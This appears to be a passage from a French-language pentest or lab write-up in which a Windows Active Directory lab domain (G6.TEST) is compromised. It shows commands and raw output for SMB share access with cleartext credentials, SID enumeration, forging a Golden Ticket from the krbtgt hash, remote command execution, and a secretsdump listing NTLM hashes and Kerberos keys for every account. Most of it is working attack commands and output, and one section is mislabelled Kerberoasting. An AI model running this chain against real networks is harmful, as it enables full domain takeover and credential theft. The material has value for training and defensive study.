Unable to connect with SMB1 -- no workgroup available

```

## 2. Découverte d'un des partages utiles

```

(kali@kali)-[~]
└─$ smbclient //10.0.2.11/IronThrone$ -U 'Renly.Baratheon%Rainbow123' -W G6.test
Try "help" to get a list of possible commands.
smb: \> ls
.                D      0 Mon Jan 12 09:58:59 2026
..               D      0 Mon Jan 12 09:58:59 2026
conseil_notes.txt A    2347 Mon Jan 12 09:54:28 2026
create_westeros_db.sql A    6170 Mon Jan 12 09:58:59 2026
dragon_backup.ps1 A     991 Mon Jan 12 09:54:28 2026
mount_kingdoms.bat A     895 Mon Jan 12 09:54:28 2026
ravens_config.ini A    1248 Mon Jan 12 09:54:28 2026
SERVICES_VULNERABLES.txt A    6360 Mon Jan 12 09:58:59 2026
ssh_keys         D      0 Mon Jan 12 09:58:59 2026
tomcat-users.xml A    1537 Mon Jan 12 09:58:59 2026
TOMCAT_SETUP.txt A    1698 Mon Jan 12 09:58:59 2026
users_export_2024.csv A     519 Mon Jan 12 09:54:28 2026

12949503 blocks of size 4096. 10535090 blocks available
smb: \>

```

## 3. Exploitation du partage

On remarque que ce partage contient beaucoup de fichiers. Afin de les exploiter on peut les monter sur la machine locale.

```

(kali@kali)-[~]
└─$ sudo mount -t cifs //10.0.2.11/IronThrone$ /mnt/hack -o username=Renly.Baratheon,password=Rainbow123,domain=g6.test,vers=3.0

```

## Kerberoasting

Création d'un Golden Ticket avec `impacket-ticketer`, il faut 3 choses :

### 1. Le Hash NTLM du compte `krbtgt` : récupéré dans `secretsdump`.

- Hash : `3f52bddb5c486a6e2def21711ecbcf9`

### 2. Le Domaine : `G6.TEST`

- **Le SID du Domaine** : C'est l'identifiant unique du domaine.

`S-1-5-21-1761126779-3564963568-2070153177`

—\$ impacket-lookupsid G6.TEST/Renly.Baratheon:Rainbow123@10.0.2.11  
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[\*] Brute forcing SIDs at 10.0.2.11  
[\*] StringBinding ncacn\_np:10.0.2.11[\pipe\lsarpc]  
[\*] Domain SID is: S-1-5-21-1761126779-3564963568-2070153177  
498: G6\Contrôleurs de domaine d'entreprise en lecture seule (SidTypeGroup)  
500: G6\Administrateur (SidTypeUser)  
501: G6\Invité (SidTypeUser)  
502: G6\krbtgt (SidTypeUser)  
512: G6\Admins du domaine (SidTypeGroup)  
513: G6\Utilisateurs du domaine (SidTypeGroup)  
514: G6\Invités du domaine (SidTypeGroup)  
515: G6\Ordinateurs du domaine (SidTypeGroup)  
516: G6\Contrôleurs de domaine (SidTypeGroup)  
517: G6\Éditeurs de certificats (SidTypeAlias)  
518: G6\Administrateurs du schéma (SidTypeGroup)  
519: G6\Administrateurs de l'entreprise (SidTypeGroup)  
520: G6\Propriétaires créateurs de la stratégie de groupe (SidTypeGroup)  
521: G6\Contrôleurs de domaine en lecture seule (SidTypeGroup)  
522: G6\Contrôleurs de domaine clonables (SidTypeGroup)  
525: G6\Protected Users (SidTypeGroup)  
526: G6\Administrateurs clés (SidTypeGroup)  
527: G6\Administrateurs clés Enterprise (SidTypeGroup)  
553: G6\Serveurs RAS et IAS (SidTypeAlias)  
571: G6\Groupe de réplication dont le mot de passe RODC est autorisé (SidTypeAlias)  
572: G6\Groupe de réplication dont le mot de passe RODC est refusé (SidTypeAlias)  
1000: G6\ADG6\$ (SidTypeUser)  
1101: G6\DnsAdmins (SidTypeAlias)  
1102: G6\DnsUpdateProxy (SidTypeGroup)  
1103: G6\DL\_DocAdmin (SidTypeAlias)  
1106: G6\ServiceAdministratif (SidTypeGroup)  
1107: G6\Local\_Admin\_Ecriture (SidTypeAlias)  
1108: G6\Local\_Admin\_Lecture (SidTypeAlias)  
1110: G6\user1 (SidTypeUser)  
1111: G6\DESKTOP-K3IUKP1\$ (SidTypeUser)  
1112: G6\RTD02\$ (SidTypeUser)  
1113: G6\GRP\_IT (SidTypeGroup)  
1114: G6\GRP\_Security (SidTypeGroup)  
1115: G6\GRP\_Helpdesk (SidTypeGroup)  
1116: G6\GRP\_Direction (SidTypeGroup)  
1117: G6\GRP\_Finance (SidTypeGroup)  
1118: G6\GRP\_RH (SidTypeGroup)  
1119: G6\GRP\_Communication (SidTypeGroup)  
1120: G6\GRP\_Technique (SidTypeGroup)  
1121: G6\GRP\_Comptabilite (SidTypeGroup)  
1122: G6\GRP\_Backup (SidTypeGroup)

1123: G6\GRP\_Services (SidTypeGroup)  
1124: G6\GRP\_Commercial (SidTypeGroup)  
1125: G6\GRP\_VIP (SidTypeGroup)  
1126: G6\ned.stark (SidTypeUser)  
1127: G6\jon.snow (SidTypeUser)  
1128: G6\arya.stark (SidTypeUser)  
1129: G6\sansa.stark (SidTypeUser)  
1130: G6\bran.stark (SidTypeUser)  
1131: G6\robb.stark (SidTypeUser)  
1132: G6\rickon.stark (SidTypeUser)  
1133: G6\benjen.stark (SidTypeUser)  
1134: G6\tywin.lannister (SidTypeUser)  
1135: G6\cersei.lannister (SidTypeUser)  
1136: G6\jaime.lannister (SidTypeUser)  
1137: G6\tyrion.lannister (SidTypeUser)  
1138: G6\kevan.lannister (SidTypeUser)  
1139: G6\lancel.lannister (SidTypeUser)  
1140: G6\daenerys.targaryen (SidTypeUser)  
1141: G6\viserys.targaryen (SidTypeUser)  
1142: G6\jorah.mormont (SidTypeUser)  
1143: G6\missandei (SidTypeUser)  
1144: G6\grey.worm (SidTypeUser)  
1145: G6\daario.naharis (SidTypeUser)  
1146: G6\robert.baratheon (SidTypeUser)  
1147: G6\stannis.baratheon (SidTypeUser)  
1148: G6\renly.baratheon (SidTypeUser)  
1149: G6\shireen.baratheon (SidTypeUser)  
1150: G6\davos.seaworth (SidTypeUser)  
1151: G6\melisandre (SidTypeUser)  
1152: G6\margaery.tyrell (SidTypeUser)  
1153: G6\olenna.tyrell (SidTypeUser)  
1154: G6\loras.tyrell (SidTypeUser)  
1155: G6\mace.tyrell (SidTypeUser)  
1156: G6\theon.greyjoy (SidTypeUser)  
1157: G6\euron.greyjoy (SidTypeUser)  
1158: G6\yara.greyjoy (SidTypeUser)  
1159: G6\balon.greyjoy (SidTypeUser)  
1160: G6\victarion.greyjoy (SidTypeUser)  
1161: G6\oberyn.martell (SidTypeUser)  
1162: G6\ellaria.sand (SidTypeUser)  
1163: G6\doran.martell (SidTypeUser)  
1164: G6\trystane.martell (SidTypeUser)  
1165: G6\nymeria.sand (SidTypeUser)  
1166: G6\samwell.tarly (SidTypeUser)  
1167: G6\jeor.mormont (SidTypeUser)  
1168: G6\maester.aemon (SidTypeUser)  
1169: G6\alliser.thorne (SidTypeUser)  
1170: G6\eddison.tollett (SidTypeUser)

```

1171: G6\tormund (SidTypeUser)
1172: G6\petyr.baelish (SidTypeUser)
1173: G6\varys (SidTypeUser)
1174: G6\sandor.clegane (SidTypeUser)
1175: G6\gregor.clegane (SidTypeUser)
1176: G6\bronn (SidTypeUser)
1177: G6\podrick.payne (SidTypeUser)
1178: G6\brienne.tarth (SidTypeUser)
1179: G6\gendry (SidTypeUser)
1180: G6\hodor (SidTypeUser)
1181: G6\pycelle (SidTypeUser)
1182: G6\qyburn (SidTypeUser)
1183: G6\svc_dragon (SidTypeUser)
1184: G6\svc_raven (SidTypeUser)
1185: G6\svc_iron (SidTypeUser)
1186: G6\svc_wall (SidTypeUser)
1187: G6\svc_citadel (SidTypeUser)
1188: G6\svc_oldgods (SidTypeUser)
1189: G6\svc_ftp (SidTypeUser)
1190: G6\admin.westeros (SidTypeUser)
1191: G6\sa_dvwa (SidTypeUser)
1192: G6\backup_admin (SidTypeUser)
1193: G6\sql_admin (SidTypeUser)

```

### Création du Ticket Granting Ticket (TGT) valide 10 ans

```

└─$ impacket-ticketer -nthash 3f52bddb5c4866a6e2def21711ecbcf9 -domain-sid S-1-5-21-17
61126779-3564963568-2070153177 -domain G6.TEST Administrator
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for G6.TEST/Administrator
[*]   PAC_LOGON_INFO
[*]   PAC_CLIENT_INFO_TYPE
[*]   EncTicketPart
[*]   EncAsRepPart
[*] Signing/Encrypting final ticket
[*]   PAC_SERVER_CHECKSUM
[*]   PAC_PRIVSVR_CHECKSUM
[*]   EncTicketPart
[*]   EncASRepPart
[*] Saving ticket in Administrator.ccache

```

Le message `[*] Saving ticket in Administrator.ccache` confirme que le faux ticket est créé et stocké sur le disque.

```
└─┬─$ export KRB5CCNAME=Administrator.ccache
```

```
└─(kali㉿kali)-[~]
```

```
└─$ netexec smb ADG6.G6.TEST -k --use-ccache -x "whoami"
```

```
SMB  ADG6.G6.TEST 445 ADG6 [*] Windows 10 / Server 2019 Build 17763 x64  
(name:ADG6) (domain:G6.test) (signing:True) (SMBv1:True)
```

```
SMB  ADG6.G6.TEST 445 ADG6 [+] G6.TEST\Administrator from ccache (Pwn3d!)
```

```
SMB  ADG6.G6.TEST 445 ADG6 [-] wmiexec: Could not retrieve output file, it may have been detected by AV. If it is still failing, try the 'wmi' protocol or another exec method
```

```
SMB  ADG6.G6.TEST 445 ADG6 [+] Executed command via wmiexec
```

La ligne de NetExec :

```
[+] G6.TEST\Administrator from ccache (Pwn3d!)
```

Cela confirme à 100% que le **Golden Ticket fonctionne**. Nous sommes Administrateur.

Mais la ligne suivante :

```
[-] wmiexec: Could not retrieve output file
```

Confirme que l'Antivirus (Defender) supprime le fichier de réponse avant que nous puissions le lire.

## Total Domain Compromise

Outil principal utilisé : impacket-secretsdump

```
─$ impacket-secretsdump G6.TEST/daenerys.targaryen:'Dracarys123!'@10.0.2.11
```

```
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
```

```
[*] Service RemoteRegistry is in stopped state
```

```
[*] Starting service RemoteRegistry
```

```
[*] Target system bootKey: 0xd7c1402f3933bf83bca40b9c889a337e
```

```
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
```

```
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:62153f1b177d899ed874b58d78a1d0cc:::
```

```
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

```
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

```
[*] Dumping cached domain logon information (domain/username:hash)
```

```
[*] Dumping LSA Secrets
```

```
[*] $MACHINE.ACC
```

```
G6\ADG6$:aes256-cts-hmac-sha1-96:c559bc9ceefeb3e3c9f29fd0874663573e3b1f7fb202ce8786ba59fcd076a2e8
```

```
G6\ADG6$:aes128-cts-hmac-sha1-96:26167d54d3e982ea202eb943273c36c7
```

```
G6\ADG6$:des-cbc-md5:e3e6794c32d9c4ad
```

```
G6\ADG6$:plain_password_hex:bcd6b8f906705730a057428348254ab85482617f1c6040ddb644d4742ee7625d9b9ecb88145ec346bca54e254738af83f5e37b3c394cf565f3f22e1356343d446dce758d5fa308539a896aa7433a7c837ccf3e03b78228525849c3a39ad93e07aab8b7f4c4cddfb8015343e73af4f9481087a9b046c0f8a3bbb92673c6269bfb1c55d926aa5acb063e5e1590396fa951f0b300054bfd9e2daaf697054047326da3c368ec658ce4212138245e20039978364a6cf3388f4bee0d1bfc3d21c57a16d5bd1215318887a42913aa1c3f5b83580365092bec9d2eb8af
```

```

42a55e3c29bbe75b294ecf4dd4877715c3d2d481f628a
G6\ADG6$:aad3b435b51404eeaad3b435b51404ee:9a2e7ecb32204848701f92dd8cd4f00e:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x3111103cd2df9216d2ade384279fe5c6fc016a65
dpapi_userkey:0x17bfe254c2b77d4c80575241da445b9180e5d7ab
[*] NL$KM
0000 60 1A 91 C9 E1 07 18 5F 81 D1 49 48 C2 11 55 76 `.....IH..Uv
0010 3B 45 2A CC 96 4A F9 EB 25 2D 32 AD A1 1F 90 D3 ;E*..J..%-2.....
0020 8F 93 5F F4 4C AC E7 30 FE 85 04 87 88 7F 8D 80 ...L..0.....
0030 69 60 BA C7 88 56 DB 47 24 77 69 01 3A 01 2C 8B i`...V.G$wi:.,.
NL$KM:601a91c9e107185f81d14948c21155763b452acc964af9eb252d32ada11f90d38f935ff44
cace730fe850487887f8d806960bac78856db47247769013a012c8b
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:62153f1b177d899ed874b58d78a1d
0cc:::
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3f52bddb5c4866a6e2def21711ecbcf9:::
user1:1110:aad3b435b51404eeaad3b435b51404ee:cdd6af410f567a616e11d3629f905490:::
G6.test\ned.stark:1126:aad3b435b51404eeaad3b435b51404ee:2bc2a0308594f2e7481db79c9
904e160:::
G6.test\jon.snow:1127:aad3b435b51404eeaad3b435b51404ee:6918f5764dcd209b7330ae156a
99f0e3:::
G6.test\arya.stark:1128:aad3b435b51404eeaad3b435b51404ee:50f018ed895564ca826c14c62
9b03b43:::
G6.test\sansa.stark:1129:aad3b435b51404eeaad3b435b51404ee:4fd725d961f83950da0fbfe2
6fd387a5:::
G6.test\bran.stark:1130:aad3b435b51404eeaad3b435b51404ee:8b88d0b83534e731a66c87da
37d1fdff:::
G6.test\robb.stark:1131:aad3b435b51404eeaad3b435b51404ee:f8ea5932d0f85a74cd3ec5525
1010f42:::
G6.test\rickon.stark:1132:aad3b435b51404eeaad3b435b51404ee:ff5c91c1731c46b04ed98fba2
c009580:::
G6.test\benjen.stark:1133:aad3b435b51404eeaad3b435b51404ee:ecc3c9acda9b9bccc969cc
d308283a1b:::
G6.test\tywin.lannister:1134:aad3b435b51404eeaad3b435b51404ee:7452e715296f4220294d7
ca239c3399f:::
G6.test\cersei.lannister:1135:aad3b435b51404eeaad3b435b51404ee:29010d9fe8201a386980
5dbfd4a01922:::
G6.test\jaime.lannister:1136:aad3b435b51404eeaad3b435b51404ee:62f03321b464f26b8d3d3
c65e4394d38:::
G6.test\tyrion.lannister:1137:aad3b435b51404eeaad3b435b51404ee:e0d8461c6b172f17c3fde3
b1933e60c6:::
G6.test\kevan.lannister:1138:aad3b435b51404eeaad3b435b51404ee:99ef32c160ecc7aaf7e9d
538efa99099:::
G6.test\lancel.lannister:1139:aad3b435b51404eeaad3b435b51404ee:bd5bd64396cadbffa46e1
e755146a22b:::
G6.test\daenerys.targaryen:1140:aad3b435b51404eeaad3b435b51404ee:fb58f7d8ff6d9dc945

```

4f46a9542c7aaa:::  
G6.test\viserys.targaryen:1141:aad3b435b51404eeaad3b435b51404ee:823496c90efb386d60178f91270cab87:::  
G6.test\jorah.mormont:1142:aad3b435b51404eeaad3b435b51404ee:7047d82089c4cefa3c5f53f976f46f54:::  
G6.test\missandei:1143:aad3b435b51404eeaad3b435b51404ee:b53c1e0051c65a1bb6b7fe779950eb1a:::  
G6.test\grey.worm:1144:aad3b435b51404eeaad3b435b51404ee:fa0b48311b3099a47f20bf8e8b027f7f:::  
G6.test\daario.naharis:1145:aad3b435b51404eeaad3b435b51404ee:ca003fa6aa3593a7657016232c4473d6:::  
G6.test\robert.baratheon:1146:aad3b435b51404eeaad3b435b51404ee:b8fa11f871bc761aa54f8e1b4eaf7d56:::  
G6.test\stannis.baratheon:1147:aad3b435b51404eeaad3b435b51404ee:2d7e01d75fbe4c74fb42a4b9b0a54bb6:::  
G6.test\renly.baratheon:1148:aad3b435b51404eeaad3b435b51404ee:b8a24cef85ca11d259372aba16a0f584:::  
G6.test\shireen.baratheon:1149:aad3b435b51404eeaad3b435b51404ee:6ca2a6b5ceb78ac080be14ad1ba9d31d:::  
G6.test\davos.seaworth:1150:aad3b435b51404eeaad3b435b51404ee:33fa12cca6683c1242ca18f805aa4385:::  
G6.test\melisandre:1151:aad3b435b51404eeaad3b435b51404ee:c1352c77700846679d1a5bac10532185:::  
G6.test\margaery.tyrell:1152:aad3b435b51404eeaad3b435b51404ee:aa6ebfdf40472fd0838a10defe87e821:::  
G6.test\olenna.tyrell:1153:aad3b435b51404eeaad3b435b51404ee:560613bc08da513bb309111c863ae726:::  
G6.test\loras.tyrell:1154:aad3b435b51404eeaad3b435b51404ee:65b6d5f8050134d5cdf7226ccf0cfd5f:::  
G6.test\mace.tyrell:1155:aad3b435b51404eeaad3b435b51404ee:a9196ad3e0c12fd2228edf724b245a38:::  
G6.test\theon.greyjoy:1156:aad3b435b51404eeaad3b435b51404ee:085836fc2cd74a997e452dbfc24d5791:::  
G6.test\euron.greyjoy:1157:aad3b435b51404eeaad3b435b51404ee:1ebfda2b3382afc517ec97ba5d16c723:::  
G6.test\yara.greyjoy:1158:aad3b435b51404eeaad3b435b51404ee:33f7b078b12b026293168430ef668672:::  
G6.test\balon.greyjoy:1159:aad3b435b51404eeaad3b435b51404ee:cf73d2ee9a1eb6832642796bff524d4c:::  
G6.test\vicarion.greyjoy:1160:aad3b435b51404eeaad3b435b51404ee:71be489dff9b6774845c1b9845f02997:::  
G6.test\oberyn.martell:1161:aad3b435b51404eeaad3b435b51404ee:906a3dd5d3b2f70016224be0214943a9:::  
G6.test\ellaria.sand:1162:aad3b435b51404eeaad3b435b51404ee:65fbf29089e3f7c792d2afbe94eed23:::  
G6.test\doran.martell:1163:aad3b435b51404eeaad3b435b51404ee:d3c9d25e3d7d4b7b038d7327bcb4bb6d:::  
G6.test\trystane.martell:1164:aad3b435b51404eeaad3b435b51404ee:aba378a9671e6405eb41



0445114ab3de:::  
G6.test\nymeria.sand:1165:aad3b435b51404eeaad3b435b51404ee:0970c3ff724329135b1aec7d5e627429:::  
G6.test\samwell.tarly:1166:aad3b435b51404eeaad3b435b51404ee:bc45fa5ad3eaf213f939729d1c53091b:::  
G6.test\jeor.mormont:1167:aad3b435b51404eeaad3b435b51404ee:00fe1fc97b1b7a2f64f8da1182ace478:::  
G6.test\maester.aemon:1168:aad3b435b51404eeaad3b435b51404ee:4a99d7bc6f18490edfda05ef529fd92c:::  
G6.test\alliser.thorne:1169:aad3b435b51404eeaad3b435b51404ee:98b960fff4b9c42d5e73b3f259a4b4fc:::  
G6.test\eddison.tollett:1170:aad3b435b51404eeaad3b435b51404ee:d6e60ceebf7541eeb1bb1f13b1524734:::  
G6.test\tormund:1171:aad3b435b51404eeaad3b435b51404ee:665689e1998d43ac92b1d5b4814e2bab:::  
G6.test\petyr.baelish:1172:aad3b435b51404eeaad3b435b51404ee:0910f7894d10fb3e2c4cf51d09cce6fb:::  
G6.test\varys:1173:aad3b435b51404eeaad3b435b51404ee:8418b5e57fcda8e2c7fd160ff0b2bb17:::  
G6.test\sandor.clegane:1174:aad3b435b51404eeaad3b435b51404ee:26ce158220303fc8bfd2eadc61a1281e:::  
G6.test\gregor.clegane:1175:aad3b435b51404eeaad3b435b51404ee:a9ea2b0227adc798d34fcb05c488ae5e:::  
G6.test\bronn:1176:aad3b435b51404eeaad3b435b51404ee:cbd2a53fa018c119077f40f2d785decf:::  
G6.test\podrick.payne:1177:aad3b435b51404eeaad3b435b51404ee:71015c46b3863b93f6aa481a39a7fa45:::  
G6.test\brienne.tarth:1178:aad3b435b51404eeaad3b435b51404ee:9b779f00166fc78fd5e0a6da806277b8:::  
G6.test\gendry:1179:aad3b435b51404eeaad3b435b51404ee:f83809224f73c626e8ef66a5a0827096:::  
G6.test\hodor:1180:aad3b435b51404eeaad3b435b51404ee:29d2abedb92f2780abea3de167a6abd7:::  
G6.test\pycelle:1181:aad3b435b51404eeaad3b435b51404ee:e13ec0becab8b649b2a7876b97644a3f:::  
G6.test\qyburn:1182:aad3b435b51404eeaad3b435b51404ee:38ed35a483b2e6f9db37410842124c76:::  
G6.test\svc\_dragon:1183:aad3b435b51404eeaad3b435b51404ee:04ab56fccb064fbd461516dba0380504:::  
G6.test\svc\_raven:1184:aad3b435b51404eeaad3b435b51404ee:da00ef7ed11bf3894a317fd0043b80b0:::  
G6.test\svc\_iron:1185:aad3b435b51404eeaad3b435b51404ee:975d49c9436138dcd94bf9131e0330bb:::  
G6.test\svc\_wall:1186:aad3b435b51404eeaad3b435b51404ee:0198121447b0028451e383eb520015d2:::  
G6.test\svc\_citadel:1187:aad3b435b51404eeaad3b435b51404ee:6c7b9aedd02386df36030ba58016067a:::  
G6.test\svc\_oldgods:1188:aad3b435b51404eeaad3b435b51404ee:249217a2bf22efd3a17464a8



7c10ca32:::  
G6.test\svc\_ftp:1189:aad3b435b51404eeaad3b435b51404ee:f18a82c969bc525cdd2b73d8424583b9:::  
G6.test\admin.westeros:1190:aad3b435b51404eeaad3b435b51404ee:18aa018eca9a2a85670ded92a3b480ea:::  
G6.test\sa\_dvwa:1191:aad3b435b51404eeaad3b435b51404ee:851890d927da9b3713c776975c4014df:::  
G6.test\backup\_admin:1192:aad3b435b51404eeaad3b435b51404ee:6cbdd5a8b6b30161e17365dfe1fffbac:::  
G6.test\sql\_admin:1193:aad3b435b51404eeaad3b435b51404ee:93419c9dac037322708b641814bdbe62:::  
ADG6\$:1000:aad3b435b51404eeaad3b435b51404ee:9a2e7ecb32204848701f92dd8cd4f00e:::  
DESKTOP-K3IUKP1\$:1111:aad3b435b51404eeaad3b435b51404ee:1812ed7a9b50967cc5b44bbcf50b7c85:::  
RTD02\$:1112:aad3b435b51404eeaad3b435b51404ee:ca3a43302feafb2834db9d250db701c7:::  
[\*] Kerberos keys grabbed  
Administrateur:aes256-cts-hmac-sha1-96:90f86964d7d843a4dad1f12c77b3513d74e141297f11db1ffbb4bbebf39b42de  
Administrateur:aes128-cts-hmac-sha1-96:d46c7e825a6fe1bcaf0d7b87142f730d  
Administrateur:des-cbc-md5:2523c754b6fbfba4  
krbtgt:aes256-cts-hmac-sha1-96:a0949232b8143e9deb042fdb8a24c5f94121f94a91eaac4891e933fc5ef1a73d  
krbtgt:aes128-cts-hmac-sha1-96:831021925e65e172724d9e42a1ed4c55  
krbtgt:des-cbc-md5:cb1f43e5fe5ed991  
user1:aes256-cts-hmac-sha1-96:a798ccd606538cf29c295d98651ba50f14579cfd4eb8ce77a99c514b468ec0ab  
user1:aes128-cts-hmac-sha1-96:b40198c9411c1138341ca66085117df3  
user1:des-cbc-md5:dae64a910bd358d9  
G6.test\ned.stark:aes256-cts-hmac-sha1-96:a0a13ca3f6261b4555d8dba822cb4b37946b178f4b8a8430472c47aea79eb6da  
G6.test\ned.stark:aes128-cts-hmac-sha1-96:86f8f3ee8e8dcda44ad605ddf5b0aeb0  
G6.test\ned.stark:des-cbc-md5:cd684cadd5fb02ef  
G6.test\jon.snow:aes256-cts-hmac-sha1-96:8597843f1647ab73a9d593d3f89a87519df73976c53d99bb2322a1b0b5ac7bbb  
G6.test\jon.snow:aes128-cts-hmac-sha1-96:7693860a9ef8b8577b3a630e6a4a8dbe  
G6.test\jon.snow:des-cbc-md5:803423cb4032c173  
G6.test\arya.stark:aes256-cts-hmac-sha1-96:292c3eace6fb02e5ca460441310536ea77e2f62d229d0cce9a7be7c5b20edca1  
G6.test\arya.stark:aes128-cts-hmac-sha1-96:c74ae9c5d9b316c474b3973e8db76cbd  
G6.test\arya.stark:des-cbc-md5:491a6e1fb097fdd3  
G6.test\sansa.stark:aes256-cts-hmac-sha1-96:b3d3b3094620d9f518dc8b0f6b5d68b74cc0290549165804a0e71de4291866d6  
G6.test\sansa.stark:aes128-cts-hmac-sha1-96:78759e37cb40f5ebe56a722ef00cc828  
G6.test\sansa.stark:des-cbc-md5:f485c2d683d64fec  
G6.test\bran.stark:aes256-cts-hmac-sha1-96:abe0b9689acad9d2a8430e81a4926e37ea23473f7a43905645f6139ba83b12d0

G6.test\bran.stark:aes128-cts-hmac-sha1-96:a22af33a9b301d13d6ced88fddc63b34  
G6.test\bran.stark:des-cbc-md5:5d5bb57cb68a58d5  
G6.test\robb.stark:aes256-cts-hmac-sha1-96:a44848d7d041f957d5469efaba0059465533205  
0576925d5aa40e11832ad7250  
G6.test\robb.stark:aes128-cts-hmac-sha1-96:6e1543ad24c40deaf2b2aec31dee87cb  
G6.test\robb.stark:des-cbc-md5:759449921a431c3d  
G6.test\rickon.stark:aes256-cts-hmac-sha1-96:28fdc2b0c2ade230de6403c249d2c6e0ac9a2  
cd3c8cd50c4c9add0e96790c1fd  
G6.test\rickon.stark:aes128-cts-hmac-sha1-96:5b4a85f392daca25efa95a2832860d1d  
G6.test\rickon.stark:des-cbc-md5:da91b64315daeeaae  
G6.test\benjen.stark:aes256-cts-hmac-sha1-96:7e3ff16749297c479fcc47640b7cc639d84582  
00ca1f67c529cc81985eb6248f  
G6.test\benjen.stark:aes128-cts-hmac-sha1-96:4bc939bc4cfb64306e33837f48fc47e3  
G6.test\benjen.stark:des-cbc-md5:7fa11602a176df94  
G6.test\tywin.lannister:aes256-cts-hmac-sha1-96:6480c4ce5911e43ec6bb57f81d54e198a4a10  
fd3b671f1db9520e6b5005e0f5f  
G6.test\tywin.lannister:aes128-cts-hmac-sha1-96:ccaddf9982ba8a9c9b2c838a6ed4767a  
G6.test\tywin.lannister:des-cbc-md5:252c43b5432c3208  
G6.test\cersei.lannister:aes256-cts-hmac-sha1-96:2e0e939454f2f360781478bdbcc995324c3  
9fb8aad8f11df4110edb32ae34085  
G6.test\cersei.lannister:aes128-cts-hmac-sha1-96:bab3be377b59809bd01241c0c778fb3f  
G6.test\cersei.lannister:des-cbc-md5:d915ba6186e5298a  
G6.test\jaime.lannister:aes256-cts-hmac-sha1-96:488215458015a67783f4fbce0fea11ff40bcc4  
4abd77c85de2c9554c72bd3ce8  
G6.test\jaime.lannister:aes128-cts-hmac-sha1-96:18418bf02d430c40bd2eb011e126e278  
G6.test\jaime.lannister:des-cbc-md5:cd16341c013be5ad  
G6.test\tyrion.lannister:aes256-cts-hmac-sha1-96:8f8cf2237d77752f7f5539a812c2a3901c1e3f  
e90856d2a942a84309152ed8a6  
G6.test\tyrion.lannister:aes128-cts-hmac-sha1-96:e509f6800b1b41bc05fad17ea98c0e4a  
G6.test\tyrion.lannister:des-cbc-md5:ea7af15ecda4524c  
G6.test\kevan.lannister:aes256-cts-hmac-sha1-96:7d1fbeda7ecc7f229e53a56509660d2d90e4  
befd95bfab659c2d3d90e5d0e456  
G6.test\kevan.lannister:aes128-cts-hmac-sha1-96:0831ca4cd0eeb352db0496dbdc8996d9  
G6.test\kevan.lannister:des-cbc-md5:bcc41094ef04a88f  
G6.test\lancel.lannister:aes256-cts-hmac-sha1-96:533ef59bea8bea5523bb78809948928161b  
6062f492d8ed9b9e86d6fe54cf3f4  
G6.test\lancel.lannister:aes128-cts-hmac-sha1-96:e96f8efd07b8f5ba66bd2a70ca6d3bd6  
G6.test\lancel.lannister:des-cbc-md5:fbba136b15b3c220  
G6.test\daenerys.targaryen:aes256-cts-hmac-sha1-96:046a6eff201eaaf1c12cf898f5f48f8d36f  
5660505cb09319e0d3dedd5c82cb1  
G6.test\daenerys.targaryen:aes128-cts-hmac-sha1-96:09cc265165abb2dcd6ea50fb61c77794  
G6.test\daenerys.targaryen:des-cbc-md5:57bf409175c497d9  
G6.test\viserys.targaryen:aes256-cts-hmac-sha1-96:5a2fd1be081dbf545ad947d5573e3527c8  
50120d28cca68dfabd26b58d4c6dee  
G6.test\viserys.targaryen:aes128-cts-hmac-sha1-96:316ab5c1ec7256bd9387c0eb5f6a8b94  
G6.test\viserys.targaryen:des-cbc-md5:bf3d0254e0837a64  
G6.test\jorah.mormont:aes256-cts-hmac-sha1-96:728a2c2043a23227dda6fec381396f525e0c  
ec7b53102ea09392a6ec87864070

G6.test\jorah.mormont:aes128-cts-hmac-sha1-96:e2648d3f564c390eb71c130167af5562  
G6.test\jorah.mormont:des-cbc-md5:80cee586fe13c104  
G6.test\missandei:aes256-cts-hmac-sha1-96:312c73aca1553a06f2ee567f1e4f9b8cd1abd3892  
e7dd4bcc2356e09d5d3bf71  
G6.test\missandei:aes128-cts-hmac-sha1-96:ebe67009c8afa732869ec489cf1880a4  
G6.test\missandei:des-cbc-md5:e9bfd56ee508f210  
G6.test\grey.worm:aes256-cts-hmac-sha1-96:d4035c1512d7c5b05e867313b77348bab7e3927  
d53b763d85c91bd26e1e6c89a  
G6.test\grey.worm:aes128-cts-hmac-sha1-96:85dcbb5eb5c266c19caa70254f21d24  
G6.test\grey.worm:des-cbc-md5:020bce32014cc8c7  
G6.test\daario.naharis:aes256-cts-hmac-sha1-96:96beac1efffaea774f3c3f313e8b70722f40c06  
160cbe3753e3c3cc0a2229a01  
G6.test\daario.naharis:aes128-cts-hmac-sha1-96:fdff33056812cfe083a48ef3349754c8  
G6.test\daario.naharis:des-cbc-md5:b308f8d93ef4efa7  
G6.test\robert.baratheon:aes256-cts-hmac-sha1-96:b982e26aa549da71dd891281a2bee9e680  
1f104174a331419546436ffb1da8a7  
G6.test\robert.baratheon:aes128-cts-hmac-sha1-96:3268e6cd436d34abf041447994002c39  
G6.test\robert.baratheon:des-cbc-md5:01e6d67c8543a8c8  
G6.test\stannis.baratheon:aes256-cts-hmac-sha1-96:254b1aa3ade898c589afe6dcfc92dfc92d  
d3ca9ab4b46253551a3539ff277afc  
G6.test\stannis.baratheon:aes128-cts-hmac-sha1-96:ba24bc8831b577d1d9da7622729ae758  
G6.test\stannis.baratheon:des-cbc-md5:31d54f0eefbabcf2  
G6.test\renly.baratheon:aes256-cts-hmac-sha1-96:531278f8998cec38db8b1c0b91c0d68ece2  
e0c692ea7b7238efce7d106e15a0f  
G6.test\renly.baratheon:aes128-cts-hmac-sha1-96:d6f8b26dc745af73bbfaef156f56c924  
G6.test\renly.baratheon:des-cbc-md5:e0a8f1dcd67c83a1  
